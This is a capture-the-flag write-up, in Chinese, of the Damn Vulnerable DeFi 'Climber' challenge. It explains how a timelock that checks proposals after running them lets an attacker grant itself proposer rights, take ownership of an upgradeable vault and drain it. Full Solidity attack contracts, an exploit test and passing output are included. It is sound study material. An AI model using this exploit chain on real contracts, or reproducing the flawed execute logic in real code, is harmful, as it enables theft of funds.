# Damn Vulnerable DeFi 挑战记录 #12 - Climber 

By [Runstar](https://paragraph.com/@runstar) · 2022-07-28

---

[**Challenge #12 - Climber**](https://www.damnvulnerabledefi.xyz/challenges/12.html)

> There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
> 
> The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.
> 
> On the vault there's an additional role with powers to sweep all tokens in case of an emergency.
> 
> On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.
> 
> Your goal is to empty the vault.

*   [See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/climber)
    
*   [Complete the challenge](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/climber/climber.challenge.js)
    

[_UUPS_ 模式](https://eips.ethereum.org/EIPS/eip-1822)

[_UUPSUpgradeable.sol_](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/UUPSUpgradeable.sol)

[_OwnableUpgradeable.sol_](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/OwnableUpgradeable.sol)

* * *

**目标:** 偷走保险库中所有资金

        after(async function () {
            /** SUCCESS CONDITIONS */
            expect(await this.token.balanceOf(this.vault.address)).to.eq("0");
            expect(await this.token.balanceOf(attacker.address)).to.eq(VAULT_TOKEN_BALANCE);
        });
    

### 代码解析:

`climber.challenge.js`

*   攻击者拥有初始金额0.1 ETH
    
*   用UUPS模式部署保险库合约传入初始化必要参数
    
*   初始化`ClimberTimelock` 时间锁合约
    
*   将10M DVT转入保险库中
    

* * *

`ClimberVault.sol` 保险库合约

*   间隔15天提款一次,每次提款1 ETH
    
*   `initialize` 初始化函数, UUPS升级模式, 初始化过程中新建`ClimberTimelock` 时间锁合约,并将所属权转移给时间锁
    

        function initialize(address admin, address proposer, address sweeper) initializer external {
            // Initialize inheritance chain
            __Ownable_init();
            __UUPSUpgradeable_init();
    
            // Deploy timelock and transfer ownership to it
            transferOwnership(address(new ClimberTimelock(admin, proposer)));
    
            _setSweeper(sweeper);
            _setLastWithdrawal(block.timestamp);
            _lastWithdrawalTimestamp = block.timestamp;
        }
    

*   `withdraw` `onlyOwner`取款函数限制1 ETH , 每取款一次需要间隔15天
    
*   `sweepFunds` `onlySweeper` 扫空所有资金, 仅允许拥有`Sweeper` 角色的地址调用
    

* * *

`ClimberTimelock.sol` 时间锁合约, 继承[AccessControl.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol) 用于角色访问权限控制

*   `schedule`发起提案函数, 只能被`proposers` 角色控制
    
*   `execute` 执行提案函数,只能执行提案队列中的内容, 可以被任何人调用
    

* * *

### 漏洞:

*   `ClimberTimelock`时间锁合约被设置`ADMIN_ROLE` 管理员权限, 而`ADMIN_ROLE` 将从[AccessControl.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol) 中继承[function grantRole(bytes32 role, address account)](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol#L144-#L147) 设置权限函数
    
*   `execute` 执行提案函数中check 提案状态发生在实际执行之后, 违反了`checks-effects-interactions` 模式
    

            for (uint8 i = 0; i < targets.length; i++) {
                targets[i].functionCallWithValue(dataElements[i], values[i]);
            }
            
            require(getOperationState(id) == OperationState.ReadyForExecution);
            operations[id].executed = true;
    

*   check 提案执行时间逻辑错误, 大于小于符号写反将导致提案可以立即被执行而不用等待1小时, 应使用`<=`
    

             else if(op.readyAtTimestamp >= block.timestamp) {
                return OperationState.ReadyForExecution;
    

### 攻击思路:

*   要想取走保险库所有资金只能调用`sweepFunds` 函数 -> `sweepFunds` 被`onlySweeper` 保护
    
*   `ClimberVault` 保险库为UUPS模式可升级合约 -> 可通过升级保险库移除`sweepFunds` 限制
    
*   升级保险库需要拿到`owner` 权限 -> 通过时间锁合约`schedule` 发起提案获得`owner`
    
*   发起提案`schedule` 需要`PROPOSER_ROLE` 身份 -> 利用`execute` 漏洞和`ADMIN_ROLE` 身份继承而来的`grantRole` 函数直接设置`PROPOSER_ROLE`身份
    
*   发起提案升级保险库移除`onlySweeper`
    
*   由于check 提案执行时间逻辑错误, 提案可立即被执行
    
*   调用`sweepFunds` 转走保险库资金
    

### 代码示例:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    import "./ClimberVault.sol";
    
    contract AttackClimber {
        ClimberVault public immutable vault;
        address payable timelock;
    
        address[] public targets;
        uint256[] public values;
        bytes[] public dataElements;
    
        constructor(address _vault, address payable _timelock) {
            vault = ClimberVault(_vault);
            timelock = _timelock;
        }
    
        function attack(address attacker) external {
            targets.push(timelock);
            targets.push(address(vault));
            targets.push(address(this));
            values.push(0);
            values.push(0);
            values.push(0);
    
            bytes memory data0 = abi.encodeWithSignature(
                "grantRole(bytes32,address)",
                keccak256("PROPOSER_ROLE"),
                address(this)
            );
    
            bytes memory data1 = abi.encodeWithSignature("transferOwnership(address)", attacker);
    
            bytes memory data2 = abi.encodeWithSignature("schedule()");
    
            dataElements.push(data0);
            dataElements.push(data1);
            dataElements.push(data2);
    
            ClimberTimelock(timelock).execute(targets, values, dataElements, "0x");
        }
    
        function schedule() external {
            ClimberTimelock(timelock).schedule(targets, values, dataElements, "0x");
        }
    }
    

升级保险库合约, 在原`ClimberVault` 的基础上移除`onlySweeper`

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
    import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
    import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
    import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    import "./ClimberTimelock.sol";
    
    contract ClimberVaultWithoutOnlySweeper is Initializable, OwnableUpgradeable, UUPSUpgradeable {
        uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
        uint256 public constant WAITING_PERIOD = 15 days;
    
        uint256 private _lastWithdrawalTimestamp;
        address private _sweeper;
    
        modifier onlySweeper() {
            require(msg.sender == _sweeper, "Caller must be sweeper");
            _;
        }
    
        /// @custom:oz-upgrades-unsafe-allow constructor
        constructor() initializer {}
    
        function initialize(
            address admin,
            address proposer,
            address sweeper
        ) external initializer {
            // Initialize inheritance chain
            __Ownable_init();
            __UUPSUpgradeable_init();
    
            // Deploy timelock and transfer ownership to it
            transferOwnership(address(new ClimberTimelock(admin, proposer)));
    
            _setSweeper(sweeper);
            _setLastWithdrawal(block.timestamp);
            _lastWithdrawalTimestamp = block.timestamp;
        }
    
        // Allows the owner to send a limited amount of tokens to a recipient every now and then
        function withdraw(
            address tokenAddress,
            address recipient,
            uint256 amount
        ) external onlyOwner {
            require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
            require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
    
            _setLastWithdrawal(block.timestamp);
    
            IERC20 token = IERC20(tokenAddress);
            require(token.transfer(recipient, amount), "Transfer failed");
        }
    
        function sweepFundsV2(address tokenAddress) external {
            IERC20 token = IERC20(tokenAddress);
            require(token.transfer(tx.origin, token.balanceOf(address(this))), "Transfer failed");
        }
    
        function getSweeper() external view returns (address) {
            return _sweeper;
        }
    
        function _setSweeper(address newSweeper) internal {
            _sweeper = newSweeper;
        }
    
        function getLastWithdrawalTimestamp() external view returns (uint256) {
            return _lastWithdrawalTimestamp;
        }
    
        function _setLastWithdrawal(uint256 timestamp) internal {
            _lastWithdrawalTimestamp = timestamp;
        }
    
        // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
        function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
    }
    

        it("Exploit", async function () {
            /** CODE YOUR EXPLOIT HERE */
            const AttackClimber = await ethers.getContractFactory("AttackClimber", attacker);
            this.attack = await AttackClimber.deploy(this.vault.address, this.timelock.address);
            await this.attack.connect(attacker).attack(attacker.address);
    
            const VaultX = await ethers.getContractFactory("ClimberVaultWithoutOnlySweeper", attacker);
            this.vaultV2 = await VaultX.deploy();
            const vaultV2Interface = VaultX.interface;
            const data = vaultV2Interface.encodeFunctionData("sweepFundsV2", [this.token.address]);
            await this.vault.connect(attacker).upgradeToAndCall(this.vaultV2.address, data);
        });
    

_运行通过_

    ❯ yarn run climber
    yarn run v1.22.19
    warning ../../package.json: No license field
    $ yarn hardhat test test/climber/climber.challenge.js
    warning ../../package.json: No license field
    $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/climber/climber.challenge.js
    Compiling 1 file with 0.8.7
    Compilation finished successfully
    
    
      [Challenge] Climber
        ✓ Exploit (483ms)
    
    
      1 passing (4s)
    
    Done in 8.08s.
    

_Twitter:_ [@0xRunstar](https://twitter.com/0xRunstar)

---

*Originally published on [Runstar](https://paragraph.com/@runstar/damn-vulnerable-defi-12-climber)*
